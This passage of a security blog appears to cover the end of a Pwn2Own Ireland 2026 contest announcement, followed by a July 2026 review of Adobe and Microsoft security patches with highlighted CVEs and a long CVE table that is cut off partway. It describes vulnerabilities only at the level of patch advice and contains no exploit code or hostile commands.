For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
